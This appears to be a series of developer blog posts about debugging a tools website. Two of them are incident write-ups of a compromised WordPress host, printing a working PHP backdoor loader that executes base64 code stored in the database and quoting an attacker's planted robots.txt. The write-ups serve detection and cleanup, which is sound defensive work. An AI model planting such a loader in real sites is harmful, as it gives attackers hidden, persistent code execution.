DEV Community: Hammad Shams Uddin

invalid_grant: my service account was fine. My laptop's clock was three days slow.

Hammad Shams Uddin — Sun, 20 Sep 2026 21:50:41 +0000

My daily SEO round emails me one digest. This morning it led with this:

NEEDS YOU — 5 thing(s)
  * Search Console could not be read today.
  ...

SEARCH CONSOLE — COULD NOT READ
  Token request failed (HTTP 400): {"error":"invalid_grant",
  "error_description":"Invalid JWT: Token must be a short-lived token
  (60 minutes) and in a reasonable timeframe. Check your iat and exp
  values in the JWT claim."}

invalid_grant is the error you get when a credential is wrong, so that is where I went first: had the service account been disabled, had someone rotated the key, had I lost access to the property? I had spent six days cleaning a compromised hosting account the week before, so "the key is gone" was not a paranoid thought.

All of that was the wrong question, and the report had already told me so. I just had not read the line above the error.

The header was the evidence

The digest's own title line said:

Utilorax SEO — Thu 17 Sep 2026

That date is generated by the script at run time, from the machine it runs on. I asked something with an authoritative clock what day it was:

$ curl -sI https://www.google.com | grep -i '^date:'
Date: Sun, 20 Sep 2026 21:03:40 GMT

Three days apart. The machine that signed the token thought it was the 17th.

Why that is fatal to a signed token, and to nothing else

Here is the part of my client that builds the assertion:

$now   = time();
$claim = self::b64url((string) json_encode([
    'iss'   => $sa['client_email'],
    'scope' => self::SCOPE,
    'aud'   => $sa['token_uri'],
    'exp'   => $now + 3600,
    'iat'   => $now,
]));

There is no bug in it. iat is now and exp is an hour from now — exactly what Google asks for. But now is whatever the machine says it is, and the machine was saying Thursday. So Google received a token that claimed to have been issued three days ago and to have expired two days and twenty-three hours ago. It refused, and its refusal named the two fields it was unhappy with: iat and exp. The error text was a precise description of the fault. I read it as a category — "auth error" — instead of as a sentence.

The giveaway I walked past: every other check in the same run was fine. IndexNow checked what had changed and correctly sent nothing, dev.to answered, the sitemap's 54 children were counted, the AI model probe came back. Not one of them signs anything, so not one of them cares what time my laptop thinks it is. The only check that broke was the only one holding a stopwatch.

Two minutes that would have saved an hour

If you get invalid_grant from a Google, Apple or AWS token endpoint, before you touch the key:

Compare your clock to theirs. curl -sI https://www.google.com | grep -i ^date costs nothing and answers the question outright.
Read the token you actually sent. The assertion is a JWT, so paste it into a JWT decoder and look at the payload rather than at your code. Your code says what you meant; the token says what you sent.
Turn iat and exp into dates. They are Unix seconds, which are unreadable on sight — 1789938294 looks like every other ten-digit number. A Unix timestamp converter turns them into a date you can compare to today's, and the gap is either zero or your whole answer.

Rule of thumb worth internalising: a signed short-lived token is a claim about time, so a rejected one is as likely to be a clock complaint as a credential complaint. The word invalid_grant is doing double duty for both, which is why the error_description — not the error — is the field to read.

The one thing that went right

The round did not print zero impressions. It said Search Console could not be read today, kept the section, and put the raw HTTP body in it.

That distinction has bitten this project repeatedly in the other direction: a sitemap check that reported unreachable children as empty, a robots.txt check that passed for six days on an attacker's file, a fetch failure that arrived as "no data". Every one of them turned a failure to measure into a measurement. Here the instrument said it was blind, said why, and handed me the sentence that contained the answer.

I still needed three days of wrong clock before I read that sentence properly. But I got to read it, which is the whole difference.

(The clock has since resynced on its own. The same round, re-run: Search Console read, 46 pages snapshotted, nothing owed.)

The backdoor was a database row

Hammad Shams Uddin — Mon, 14 Sep 2026 16:30:53 +0000

I cleaned a compromised hosting account on 5 September and wrote down, with some satisfaction, that it was done. On 11 September I found the rest of it.

The part that bothers me is not that I missed something. It is why I missed it: I had built three scanners, and the thing they were looking for was not in any file.

What a file scanner was asked to find

This is the file that mattered, in full. 420 bytes, sitting where a WordPress core file should be:

<?php

require_once $_SERVER['DOCUMENT_ROOT'] . '/wp-load.php';

$encoded = get_option('_codehidden');

if (!empty($encoded)) {
    $code = base64_decode($encoded, true);
    if ($code !== false) {
        $tmp = tmpfile();
        if ($tmp !== false) {
            fwrite($tmp, $code);
            $meta = stream_get_meta_data($tmp);
            include $meta['uri'];
            fclose($tmp);
        }
    }
}

No obfuscation. No eval. No hex-escaped strings, no goto spaghetti, no variable function names. It reads well. Every one of my signature checks looked straight at it and had nothing to say, because there is nothing in it to flag — the malicious part is a row in wp_options, and the file is just the thing that fetches it.

The row held 9,784 bytes of base64. Decoded: 7,338 bytes, whose first line is eval(base64_decode('...')) and whose inner layer reads HTTP_HOST, HTTP_ACCEPT_LANGUAGE and HTTP_REFERER and picks a remote host from a list of ROT13'd domains. A cloaker — the same kind that had been serving a Japanese shopping page to Googlebot from the main site. Stored in the database, so grep -r across 161,762 files finds exactly nothing.

The only authority that worked

The file was one of ~2,000 in a WordPress install, and it looked plausible. What caught it is that WordPress publishes the md5 of every file it ships:

https://api.wordpress.org/core/checksums/1.0/?version=7.1&locale=en_US

That gives a map of path => md5 for the whole core. Three questions fall out of it, and the third is the one that mattered:

foreach ($sums as $path => $md5) {
    if (!is_file("$root/$path"))          { $missing[]  = $path; }   // deleted
    elseif (md5_file("$root/$path") !== $md5) { $modified[] = $path; }   // changed
}
// and the other direction: anything under wp-admin/ or wp-includes/
// that the checksum list has never heard of
foreach ($onDisk as $path) {
    if (!isset($sums[$path])) { $foreign[] = $path; }
}

Across 18 installs on the account: 15 came back clean, and the three that did not told me exactly where to look. The loader showed up as MODIFIED. Three empty .php files in invented directories — wp-includes/blocks/5HJlg/block/wp-utility.php and friends, all chmod 777 — showed up as FOREIGN. Another site was missing 74 core files, which is why it had been answering 500 to every visitor.

This is the difference between a signature and an authority. My signatures encode what I imagine malware looks like. The checksum list encodes what the software is. Only one of those keeps working when the attacker writes something I did not imagine.

Two things I got wrong, out loud

I cleared a file because it was not obfuscated. On 5 September I read the site's wp-login.php, saw no eval, no base64, no hex, and moved on. The checksums flagged it. The diff turned out to be two blank lines and a missing newline — so my conclusion was right, no credential stealer — but my reason was worthless. "It does not look like malware" is not evidence. I only knew the file was clean once something authoritative told me what it should be.

I wrote a scanner rule that was certain and wrong. It flagged images containing PHP, which is a real technique:

if ($isImg && preg_match('~<\?php|<\?=|eval\s*\(~i', $s)) { /* CERTAIN */ }

That reported 277 files, labelled CERTAIN, across ordinary stock photos and one of Advanced Custom Fields' own PNGs. <?= is three bytes. In a 700 KB binary, three particular bytes turn up by chance constantly. Retested with the five-byte <?php alone: zero. Nothing was deleted on that basis, but only because I checked before acting — and I had labelled the rule CERTAIN, which is precisely the label that invites not checking.

What the database knew that the filesystem did not

Once I was reading the database, the rest of the story was there:

lms   patilari       31 Aug 05:53
lms   suxexnob        4 Sep 05:45     1 live session
lms   root_1n84gk9    4 Sep 07:13:21  2 live sessions
lms   jalejsul        8 Sep 09:09
site2 patilari       31 Aug 07:05:04
site2 root            2 Sep 01:25:30

Administrator accounts. root_1n84gk9 was created in the same minute as those 777 files. patilari appears on two unrelated sites, and on the second one a file-manager plugin was installed nine seconds after the account existed. And jalejsul is dated 8 September — three days after I declared the account clean.

That last row is the whole lesson. I had removed their files. They still had a way in, and it was never a file.

What I would take from it

Prefer an authority to a signature. For WordPress that is the checksums API; for your own code it is a manifest you generated somewhere the attacker cannot reach. A signature list only finds malware that resembles malware you have already seen.
Grep the datastore too. Anything that can be included can be stored: a row, an object-cache entry, a serialised option, an S3 key. A scanner that only walks a filesystem is auditing half the machine.
When you label a check CERTAIN, go and verify it once on real data — before you build anything that acts on it automatically. Mine would have deleted 277 innocent photos.
Clean does not mean cleaned. After an incident, re-verify against something the attacker could not have touched. A baseline taken on a compromised system certifies the compromise.

I build Utilorax, a set of free browser-based tools. If you want to check a file against a published hash without installing anything, the MD5 hash generator runs entirely in your browser — the file never leaves your machine.

My robots.txt check passed for six days on an attacker's robots.txt

Hammad Shams Uddin — Fri, 11 Sep 2026 05:15:36 +0000

Every morning a script checks my site's health and emails me. One of its lines, for six days running:

Fine. Sitemap index lists 54 child sitemaps holding 6,240 URLs in total,
robots.txt points at it, and every page earning impressions answers 200.

For those six days, this was my robots.txt:

User-agent: *
Allow: /

Sitemap: https://utilorax.com/?sitemapindex.xml
Sitemap: https://utilorax.com/?sitemap249.xml
Sitemap: https://utilorax.com/?sitemap476.xml
Sitemap: https://utilorax.com/?sitemap531.xml
Sitemap: https://utilorax.com/?sitemap458.xml
Sitemap: https://utilorax.com/?sitemap522.xml
Sitemap: https://utilorax.com/goods.php?sitemap806.xml

None of those are mine. goods.php is the giveaway: it is the shape of a Japanese shop-spam campaign, and the site had been hit by exactly that — a cloaker serving Googlebot a clothing store while people saw the real site. I cleaned that up on 5 September and wrote down, with some satisfaction, that the site was clean.

It was not. The cloaker had left a second thing behind, and every instrument I had built to catch the first one looked straight at it and said fine.

The check

$robots = (string) @file_get_contents('https://utilorax.com/robots.txt');
if (!str_contains($robots, 'Sitemap:')) {
    $problems[] = 'robots.txt does not point at a sitemap';
}

It asks whether robots.txt mentions a sitemap. The attacker's file mentions seven. It passed with a margin.

This is the same bug as a login check that verifies a password field is non-empty. The test was written against the failure I imagined — someone deleting the Sitemap line by accident — and not against the failure that happened, which is someone replacing it on purpose. A check for the presence of a field passes on anyone's field.

How a static file beat a dynamic one

My real robots.txt is not a file. index.php generates it, so the sitemap URL always matches the host:

if ($path === 'robots.txt' || /* sitemap*.xml */ ...) {
    Sitemap::handle($path);
    exit;
}

and .htaccess sends a request there only when no real file exists:

RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^ index.php [L]

So dropping a plain robots.txt into the web root does not fight the generator. It simply wins, silently, because that is what !-f means. There is no conflict to notice.

The file itself had been dressed for the job:

-r--r--r--  356 bytes   Jul 7 2024   robots.txt

Read-only, so a careless cleanup would fail. And dated July 2024 — on a domain registered in July 2026. The only file on the server older than the project, and the only file outside vendor/ set to 444.

Three instruments, one blind spot each

What bothers me is not that one check was weak. It is that I had built three, after the hack, specifically so this could not happen again — and each one had a different reason to wave it through.

The health check tested for a string the attacker supplied.

The integrity monitor hashes every static file and reports anything that changes. I took its baseline after the cleanup — so the planted robots.txt went into the baseline as a known-good file. From then on, the monitor's job was to guarantee the attacker's file stayed exactly as they left it. It did that perfectly.

A baseline taken on a compromised system does not detect the compromise. It certifies it.

The off-server verifier compares live files against git and lists anything on the server that git does not know about. On 5 September it listed robots.txt. I read the list, saw a handful of expected runtime files — caches, a ratings database, a speed-test payload — and filed robots.txt with them, because a site having a robots.txt looked normal.

It was the only item on that list that could not legitimately exist. The real one is generated; a file by that name should never be on disk at all. The verifier was right and I explained it away.

What changed

The check now asks whose sitemap, and treats a file existing as the finding:

preg_match_all('~^\s*Sitemap:\s*(\S+)~mi', $robots, $sm);
$ours    = 'https://utilorax.com/sitemap.xml';
$foreign = array_filter($sm[1], fn($u) => rtrim($u) !== $ours);

if (!in_array($ours, $sm[1], true)) { $problems[] = 'robots.txt does not list our sitemap'; }
if ($foreign)                       { $problems[] = 'robots.txt lists sitemaps that are not ours'; }
if (is_file($webRoot . '/robots.txt')) {
    $problems[] = 'a static robots.txt exists — the real one is dynamic, so this is shadowing it';
}

The verifier has a separate section for static files that shadow a generated route, so it cannot be mistaken for runtime clutter again. And a failed fetch is reported as not evaluated today, rather than as no sitemap — the old code turned an empty response into the same message as a real problem, which is part of how I found this: a false alarm made me open the actual file.

And then the fix was invisible

I deleted the file, fetched /robots.txt, and got my real one back. Then the new check ran and fired again:

*** robots.txt lists 7 sitemap(s) that are not ours ***

I had tested with a cache-busting query string. The plain URL — the one crawlers request — was coming from the CDN:

cf-cache-status: HIT
Cache-Control: max-age=14400

The origin was fixed. The edge was still serving the attacker's file, for up to four more hours, to every crawler that asked. If I had kept the old string check, it would have passed that too.

What I would take from it

Three things, and none of them are about robots.txt:

Test for the right value, not for a value. "Is there a sitemap line" and "is it our sitemap line" differ by exactly one attacker.
Never baseline a system you have just cleaned without first proving it against something the attacker could not touch. My proof was git, and I read its answer too quickly.
An "expected" list is where things hide. Every exception you wave through once becomes invisible forever. If a file cannot legitimately exist, it does not belong in a list of files that usually do.

And test your fix the way the crawler will see it, not the way you will.

I build Utilorax, a set of free browser-based tools. If you want to see what your own robots.txt actually tells a crawler — including which sitemaps it advertises — the robots.txt tester will show you.

Page 999 of my 5-page blog returned 200 and said it was canonical

Hammad Shams Uddin — Tue, 08 Sep 2026 08:29:14 +0000

Search Console, this morning:

Discovered - currently not indexed   20,852
Crawled - currently not indexed       1,582
Excluded by 'noindex' tag                63

My sitemap has 6,240 URLs.

Google knows about roughly 22,500 addresses on a site that publishes 6,240. Nobody typed the other sixteen thousand. Something on the site is generating them.

The pager

public static function paged(int $page = 1, int $perPage = 9): array
{
    $all   = self::all();
    $total = count($all);
    $pages = max(1, (int) ceil($total / $perPage));
    $page  = max(1, min($page, $pages));      // <- here
    return [
        'items' => array_slice($all, ($page - 1) * $perPage, $perPage),
        'total' => $total,
        'pages' => $pages,
        'page'  => $page,
    ];
}

That clamp is the sensible thing to write. Somebody asks for page 40 of five, you show them page 5 rather than an empty screen or a stack trace. I would write it again.

The blog has 5 pages. Here is what the server does:

page=1      HTTP 200   9 posts   canonical = /blog
page=5      HTTP 200   3 posts   canonical = /blog?page=5
page=6      HTTP 200   3 posts   canonical = /blog?page=6
page=999    HTTP 200   3 posts   canonical = /blog?page=999

Page 6 does not exist. It answers 200, serves page 5's three posts, and tells Google this URL is the canonical version of this content.

So does page 7. And page 8. There is no largest one.

The clamp was never the bug

The clamp is right, and the caller is wrong, and it took me a while to see which was which.

paged() returns 'page' => 5 when you ask for 999, because 5 is the page it is rendering. That is honest. But the template built its canonical from the request, not the response:

'canonical' => abs_url('/blog' . ($page > 1 ? '?page=' . $page : '')),

$page there is 999. It was never reconciled with what the pager decided.

So the function quietly answered two different questions with one number, and the caller picked the wrong one:

which page am I showing? → 5
does the page you asked for exist? → never asked, never answered

The second question is the one a router needs, and there was no way to ask it. That is the actual defect: not a wrong value, a missing one.

$asked = max(1, $page);
$page  = min($asked, $pages);

return [
    'items'     => array_slice($all, ($page - 1) * $perPage, $perPage),
    'pages'     => $pages,
    'page'      => $page,        // what is being rendered
    'requested' => $asked,       // what was asked for
    'exists'    => $asked <= $pages,
];

$paged = BlogRepo::paged($page, 9);
if (!$paged['exists']) { notFound(); }

and the canonical now uses $paged['page'] — the page that was served — rather than the number in the query string.

page=5      HTTP 200   3 posts   canonical = /blog?page=5
page=6      HTTP 404
page=999    HTTP 404
page=abc    HTTP 200   9 posts   canonical = /blog

?page=abc still resolves to page 1, which is right: it is not a request for a page that does not exist, it is a request that does not name a page at all.

Why this shape is worth recognising

A clamp is a rendering decision. It answers "what do I draw". The moment its output is used to decide "what do I say this URL is", it has silently become a routing decision, and it is the wrong tool for that, because clamping's entire job is to erase the difference between valid and out-of-range input.

That is fine inside a view. It is not fine anywhere near an HTTP status or a canonical tag, and those are usually written a long way from the function doing the clamping.

The generalisation I would carry:

A function that normalises its input owes the caller the un-normalised value too. Otherwise every caller that needed to know "was this valid?" has to re-derive it, and the ones that forget do not fail — they succeed at something slightly wrong.

max() and min() are where this hides. So is ?? $default, intval(), and any array_slice that silently returns fewer rows than you asked for.

What I cannot claim

I found one unbounded URL source and I fixed it. I cannot tell you it accounts for 20,852, because Search Console's Page Indexing report does not expose the URLs through the API, and I am not going to work backwards from a number I want to explain.

What I can say is that this one is unbounded, it was reachable, it answered 200, and it invited indexing — and that until this morning I would have told you the site had 6,240 URLs.

If your Discovered count is wildly larger than your sitemap, the thing to look for is not a leak of pages. It is a parameter with no upper bound that still answers 200.

Testing it

check('page 5 exists',        status('/blog?page=5'),   200);
check('page 6 does not',      status('/blog?page=6'),   404);
check('nor does page 999',    status('/blog?page=999'), 404);
check('a non-numeric page is page 1', canonical('/blog?page=abc'), '/blog');
check('page 5 is its own canonical',  canonical('/blog?page=5'), '/blog?page=5');

The fourth and fifth assertions matter more than they look. The obvious fix — 404 anything that is not a valid page number — breaks ?page=abc, which should be page 1. The two cases sit either side of the same if and the temptation is to write one test.

I build Utilorax, a set of free browser-based tools. This one started with the sitemap URL counter, which is how I knew the sitemap said 6,240 while Search Console said 22,500.

96% of my labels were translated. The other 4% could never be.

Hammad Shams Uddin — Sat, 05 Sep 2026 11:45:58 +0000

My site ships in five languages. The calculator results go through a dictionary:

function T(s) {
    var d = window.CH_CALC;               // { "English label": "translation" }
    return (d && Object.prototype.hasOwnProperty.call(d, s)) ? d[s] : s;
}

Look up the English, fall back to the English. It is about as simple as translation gets, and for most of the site it works.

Then I read a CPM calculator row on the Spanish page:

Impresiones            20,000
Coste por impresión    0.0025
Impressions per 50.00  20,000

One row in English. Not a missing translation — I went and checked, and there was no key to add. There is no key that could be added.

The string does not exist until the reader types

{ label: 'Impressions per ' + fmt(cost, 2), value: int(imp) }

Impressions per 50.00. Change the campaign cost to 75 and the label is Impressions per 75.00. The dictionary would need an entry for every number anyone ever enters.

This is a different category from "not translated yet", and I had been filing it under the same heading. Untranslated is a backlog. This is a defect, and no amount of work on the dictionaries would ever have closed it.

How many

I did not want to guess, and I could not eyeball it — 112 calculators. But the engines are pure functions of an input object, so I could run all of them and read what came out:

const strings = r => [
    r.primary && r.primary.label,
    ...(r.rows || []).map(x => x && x.label),
    r.tag && r.tag.text,
    r.note,
].filter(Boolean);

The trick is telling the two categories apart. Run each calculator twice with different numbers: a label that changes between the runs is being assembled; a label that stays put is a fixed string that is simply missing.

const nudge = s => {
    const n = parseFloat(s);
    return Number.isFinite(n) ? String(n === 0 ? 7 : n * 2 + 3) : s;
};

reader-facing strings   fixed: 397   built from input: 29

The first count was wrong

29 was too many, and the reason is worth the detour.

BMI at one weight says Healthy weight. At double that weight it says Overweight. The string changed between runs, so my sweep called it assembled — but it is not assembled at all. It is a categorical label from a fixed set of four, and every one of them is sitting in the dictionary already, translated.

The nudge did not reveal interpolation. It revealed a threshold.

So the discriminator needs a second condition: the label must also contain a digit.

for (const s of [...varying]) {
    if (!/\d/.test(s)) { varying.delete(s); fixed.add(s); }
}

reader-facing strings   fixed: 405   built from input: 21

21, across 18 calculators. And now the numbers say something:

es:  missing but fixable: 15    unreachable by lookup: 21   (all of them)
fr:  missing but fixable: 16    unreachable by lookup: 21   (all of them)
pt:  missing but fixable: 14    unreachable by lookup: 21   (all of them)
zh:  missing but fixable: 10    unreachable by lookup: 21   (all of them)

The fixed strings are about 96% translated — an ordinary, healthy backlog of a dozen or so. The assembled ones are 0% translated in all four languages, without exception.

That is not a coincidence you have to interpret. A 96% column next to a 0% column is a mechanism, not a backlog. If it were an effort problem the two would look alike. When one category is perfect and the neighbouring one is empty, something is preventing the work rather than nobody doing it.

The fix is to translate the shape

function TF(tpl) {
    var args = Array.prototype.slice.call(arguments, 1);
    return T(tpl).replace(/\{(\d)\}/g, function (m, i) {
        var a = args[Number(i)];
        return a === undefined ? m : String(a);
    });
}

{ label: TF('Impressions per {0}', fmt(cost, 2)), value: int(imp) }

The key is now Impressions per {0}, which is a constant. Twenty-three of them across the site.

The a === undefined ? m : ... matters more than it looks. Templates get edited in dictionaries, by people who are not looking at the call site, months later. If a translator adds a {1} that no argument feeds, the honest outcome is a visible {1} — not the word undefined sitting in a financial result where a number belongs.

And because an untranslated template falls back to English exactly like an untranslated string, this converts one label at a time with nothing to coordinate.

Verifying it end to end

Not "does TF work" — of course TF works. The question is whether a Spanish reader now sees Spanish, which means running the real calculators against the real dictionary:

function render(dict) {
    delete require.cache[require.resolve(CALC)];
    global.window = dict ? { CH_CALC: dict } : undefined;
    return require(CALC).ENGINES;
}

percentage-calculator     "200.00 plus 15%"       -> "200.00 más 15%"
discount-calculator       "You save 30.00"        -> "Ahorras 30.00"
roi-calculator            "Profit 3,000.00"       -> "Beneficio 3,000.00"
zakat-calculator          "Zakat due (2.5%)"      -> "Zakat a pagar (2.5%)"
paypal-fee-calculator     "Fee (2.9% + 0.30)"     -> "Comisión (2.9% + 0.30)"
cpm-calculator            "Impressions per 50.00" -> "Impresiones por 50.00"
emergency-fund-calculator "13,000.00 to go"       -> "Faltan 13,000.00"
...
20 labels now reach a Spanish reader in Spanish that could not before.

Doing this also flushed out that T() reached straight for window. The engines had never called it — only the renderer did — so no Node test had ever touched that line. Making labels translatable inside the engines was what dragged the browser into a test suite that had happily run without one.

The two assertions I would keep

The mechanical ones are the ones that survive:

// Every TF template must exist in all four dictionaries. A template nobody
// translated is the same English string with extra steps.
const templates = [...src.matchAll(/TF\('([^']*)'/g)].map(m => m[1]);
check(lang + ': all templates translated', missing, []);

// And no translation may drop a {0}. That does not look wrong in review -
// it looks like a slightly shorter sentence - and it deletes the number
// from a financial result.
check(lang + ': every placeholder survives', dropped, []);

The template list is read out of the source rather than written down again in the test. A hand-maintained copy would drift, and it would drift silently, in the direction of passing.

What I would take from it

The + in a label is the whole bug. It is invisible in review because it is the most ordinary line of code in the world, and it does not fail — it produces exactly the right English string.

If your product speaks more than one language, the pattern to grep for is a string literal next to a + inside anything a reader will see. And if you already have translation coverage numbers, look at whether they cluster: a column at 96% and a column at 0% are not the same project running at different speeds. One of them is a wall.

I build Utilorax, a set of free browser-based tools. This came out of the CPM calculator, which now says "Impresiones por 50.00" to people reading it in Spanish.

Break-even is not a profit, and my calculator said it was

Hammad Shams Uddin — Fri, 04 Sep 2026 20:35:24 +0000

Refinance a 200,000 mortgage. Current rate 7%, 300 months left. New rate: 7%. New term: 25 years. Closing costs: 4,000.

That is not a refinance. It is the loan you already have, plus a bill for four thousand.

My calculator, in green:

Save $0.00/mo

The number is right. The word is not.

One ternary, three answers

tag: monthlySave >= 0
    ? { text: 'Save ' + fmt(monthlySave, 2) + '/mo', level: 'good' }
    : { text: fmt(-monthlySave, 2) + '/mo more',     level: 'bad'  }

"Did it go up or down" has three answers. A ternary has two branches. >= is where the third one goes to die — it does not disappear, it gets quietly filed under the first.

I went looking for the pattern and it was not one calculator, it was the house style. Every comparison tag on the site was written the same way, and every one of them was wrong at exactly one point:

calculator	at break-even, it printed	and coloured it
ROI	`Profit 0.00`	green
percentage change	`+0.00%` · Increase	green
CAGR	`Growth`	green
net worth	`Positive`	green
capital gains tax	`Gain 0.00`	green
real rate of return	`Beats inflation`	green
refinance	`Save 0.00/mo`	green
debt consolidation	`0.00/mo more`	amber

Seven of the eight called nothing a win. The eighth is more interesting, and I will come back to it.

None of these are floating-point curiosities. Every input in that table is something a person types on purpose: buy at 10,000 and sell at 10,000. A salary that did not move. A 3% return in a 3% inflation year. Assets that exactly cover the debts — a number people work towards.

"Beats inflation" is the one that bothers me

Most of these are a wrong word next to a right number, and the reader can see the 0.00 and correct for it.

Beats inflation has no number next to it. There is a percentage in the headline, but the tag is the part that renders as a green pill and the part a reader takes away. If your return exactly matches inflation you have made precisely nothing in real terms, and the tool congratulated you.

That is the difference between a cosmetic bug and a wrong answer: whether the reader has enough on screen to notice.

The eighth one, which was worse than wrong

Debt consolidation compares a payment the user types against one it computes. Feed it a debt of 30,000 at 8% over 5 years, and it works out 608.29/mo. Type 608.29 back in — the number it just showed you — and:

0.00/mo more

The other branch. Not because the maths differs, but because the computed value is 608.2857..., and 608.29 minus that is a hair below zero.

So at break-even this calculator did not have a wrong answer, it had no stable answer. The same two numbers on screen could be labelled a saving or a cost depending on where the float landed. And nothing about the display would tell you which side you got, because both branches print 0.00.

Rounding before comparing is the actual fix

function verdict(x, dp, up, flat, down) {
    var r = Number(Number(x).toFixed(dp));
    if (r > 0) { return { text: up,   level: 'good'    }; }
    if (r < 0) { return { text: down, level: 'bad'     }; }
    return       { text: flat, level: 'neutral' };
}

Three branches is the obvious half. The toFixed is the half I nearly left out, and it is the one that actually fixes debt consolidation.

The label has to be computed from the number the reader can see, not from the number you have. If you print to the cent, compare to the cent. Otherwise you are asserting a difference that exists only in a register, in a pill sitting directly beside the digits that deny it.

It also makes the boundary honest in the other direction:

newRate 6.999961   ->  Same payment — the costs buy nothing   [neutral]
newRate 6.9999     ->  Save 0.01/mo                           [good]

A saving of four-tenths of a cent a month is not a saving. It prints as 0.00. Now it is labelled as what it prints as.

The third colour

There were three pill styles: green, amber, red. Nothing for "neither", so >= had somewhere convenient to hide.

Amber is not the answer. Amber means pay attention, this might be a problem, and break-even is not a problem. It is a null result, and null results deserve to look like null results:

.result-tag.neutral{ background:var(--ink-soft); color:#fff; }

Grey says "neither" without saying "warning". The missing branch and the missing colour were the same omission — I had built a vocabulary with only two words in it and then had to say something with it.

Testing the boundary and both sides of it

const FLAT = [
    ['roi',              { initial: '5000', final: '5000' },               'Broke even'],
    ['percentageChange', { from: '50', to: '50' },                         'No change'],
    ['realReturn',       { nominal: '3', inflation: '3' },                 'Exactly matches inflation'],
    ['refinance',        { balance: '200000', currentRate: '7', currentMonths: '300',
                           newRate: '7', newYears: '25', costs: '4000' },  'Same payment — the costs buy nothing'],
    ...
];

for (const [engine, v, want] of FLAT) {
    check(engine + ': says "' + want + '"',           tag(E[engine](v)),   want);
    check(engine + ': is not coloured as good news',  level(E[engine](v)), 'neutral');
}

Two assertions per case, because they fail for different reasons: someone can fix the word and leave the pill green, and the pill is the part people see first.

Then the same number of assertions on either side of the boundary. A three-way fix is one > away from breaking the direction it used to get right, and a test suite that only checks the newly-fixed case will not notice.

What I would take from it

>= in a place where equality means something different from "greater" is a bug you write with your fingers, not your head. It reads as a rounding decision — do I include the endpoint — and it is not. It is a decision about whether a third outcome exists.

The tell is the naming. When the two branches are good and bad, ask what the boundary between them is called. If it has a name — break-even, no change, flat, matches, unchanged, exactly covers — then it is a case, and you have not written it.

I build Utilorax, a set of free browser-based tools. This came out of the percentage change calculator, which no longer tells you that nothing is an increase.

Every field was filled in. The error message said otherwise.

Hammad Shams Uddin — Fri, 04 Sep 2026 05:08:44 +0000

My car loan calculator would not answer the most ordinary question anyone asks about a car loan.

Vehicle price 25,000. Interest 8%. Term 5 years. Down payment: nothing, because I am putting nothing down.

Please fill in all fields with valid numbers.

Every field is filled in. Three of them hold numbers and the fourth holds the truth. The tool has everything it needs, and it has told the user that they are the problem.

Here is the whole of it:

mortgage: function (v) {
    var p = parseFloat(v.price) - parseFloat(v.down),
        r = parseFloat(v.rate) / 100 / 12,
        n = parseFloat(v.years) * 12;
    if (!(p > 0) || isNaN(r) || !(n > 0)) return err();
    ...
}

parseFloat('') is NaN. NaN - 25000 is NaN. And NaN > 0 is false, quietly, with no warning and no exception — so the empty field walks straight into the same branch as genuinely broken input and comes out wearing its message.

Three different situations, one guard

That one if is doing three unrelated jobs, and I only noticed when I started listing what it rejects:

what the user did	what they meant	what they got
left down payment blank	"nothing down"	fill in all fields
down payment = price	"I'm paying cash"	fill in all fields
down payment > price	"my trade-in is worth more"	fill in all fields
price blank	actually missing	fill in all fields

The last row is the only one where the message is even close to true. The first three are not errors at all. They are answers: there is no loan, there is no interest, the monthly payment is zero, and in the third case the dealer owes you money.

The calculator knew all of that. It threw it away because p <= 0, and p <= 0 had been quietly redefined as "the input is bad" when what it actually means is "there is nothing to finance".

I checked whether it was just this one

It is one line in one engine, so before writing anything I wanted to know how much of the site had the same shape. There are 112 calculators sharing 111 engines, all pure functions of an input object, so sweeping them is cheap:

for (const [slug, d] of Object.entries(defs)) {
  const base = {};                      // each calculator's own defaults
  for (const i of d.inputs) base[i.id] = i.value;

  for (const i of d.inputs) {
    const out = run(d.engine, { ...base, [i.id]: '0' });
    if (out.error) refused.push([slug, i.id, out.error]);
  }
}

Zero, not blank. Zero is unambiguously a number, and the field is unambiguously filled in, so any complaint about empty fields is unambiguously wrong.

calculators swept        : 112
field = 0 refused        : 123

and of those 123 refusals:

 114  Please fill in all fields with valid numbers.
   2  Enter two non-zero whole numbers.
   2  Enter whole numbers; denominators cannot be zero.
   1  a cannot be 0 — that is a linear equation, not quadratic.
   1  Original value cannot be zero.
   ...

The nine at the bottom are fine. They refuse, they say what they refused, and one of them teaches you something. The 114 above them are a sentence that is false on its face, shown to someone who has already done the thing it is asking for — which sends them off to check the three fields that are correct.

But be honest about the scale

It is tempting to stop there and call it 114 bugs. It is not 114 bugs, and the difference matters.

Most of those 114 are refusals that should happen. A BMI with height 0, a bill split between 0 people, a loan of 0 — those have no answer, and refusing is right. Only the message is wrong.

The smaller and worse category is the one where the tool could have answered and did not. I could not detect that mechanically, so I picked it out by hand: fields that are an adjustment to a main quantity rather than the quantity itself — a down payment, a fee, an employer match, a trade-in. Leaving one of those out is a statement, not an omission.

optional-adjustment fields that refuse a blank or a 0:   4

Four. Out of 112 calculators. That is a small number and I am not going to dress it up as a big one.

Two of the four were the mortgage calculator and the car loan calculator — the two most-visited calculators on the site. Rarity and importance are different axes, and a bug census that only counts is measuring the wrong one.

The fix, which is mostly just splitting the line up

var price = parseFloat(v.price),
    down  = optional(v.down),
    r     = parseFloat(v.rate) / 100 / 12,
    n     = parseFloat(v.years) * 12;

if (!(price > 0)) return err('Enter a price greater than zero.');
if (isNaN(r))     return err('Enter an interest rate.');
if (!(n > 0))     return err('Enter a loan term of at least one year.');

var p = price - down;

if (p <= 0) {                       // paying cash, or a trade-in worth more
    return { primary: { label: 'Monthly payment', value: fmt(0, 2) }, ... };
}

with

function optional(s) { var n = parseFloat(s); return isFinite(n) ? n : 0; }

Splitting the guard is not tidiness. A single message could not name the field at fault, because the code had never worked out which field it was. The specific messages are not a wording improvement layered on top of the old check — they only become possible once the check is separated.

The part I find hardest to defend is that optional() was already in the file. Here is retirement401k, unchanged, before I touched anything:

var bal    = parseFloat(v.balance) || 0,     // optional
    salary = parseFloat(v.salary),
    cpct   = parseFloat(v.contribution),     // not optional. same line.
    mpct   = parseFloat(v.match) || 0,       // optional

Opening balance: optional. Employer match: optional. Contribution, sitting between them in the same var statement: not. Contributing nothing this year is a number, and the projection still exists. The right idiom was six characters away and had been for months — because it was an idiom and not a name. Naming it is most of what stops it drifting again.

Testing the two halves separately

check('nothing down is answered, not refused', money(car({ down: '' })), '506.91');
check('nothing down equals an explicit zero',  money(car({ down: '' })), money(car({ down: '0' })));
check('paying cash costs nothing a month',     money(car({ down: '25000' })), '0.00');
